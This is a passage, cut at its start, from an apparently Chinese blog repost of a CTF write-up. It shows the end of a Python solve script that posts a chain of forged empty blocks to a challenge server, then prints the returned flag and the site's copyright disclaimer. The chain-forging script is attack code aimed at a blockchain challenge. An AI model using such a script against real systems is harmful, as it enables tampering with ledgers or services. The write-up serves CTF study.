  69. print(s.post(url=url_create, data=str(json.dumps(a))).content.decode())
  70. b = create_empty_block(a['hash'])
  71. print(s.post(url=url_create, data=str(json.dumps(b))).content.decode())
  72. c = create_empty_block(b['hash'])
  73. print(s.post(url=url_create, data=str(json.dumps(c))).content.decode())
  74. d = create_empty_block(c['hash'])
  75. print(s.post(url=url_create, data=str(json.dumps(d))).content.decode())
  76. e = create_empty_block(d['hash'])
  77. print(s.post(url=url_create, data=str(json.dumps(e))).content.decode())
  78. print(s.get(url=url_flag).content.decode())

 运行结果如下

 

 ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/654563
推荐阅读
相关标签
  

闽ICP备14008679号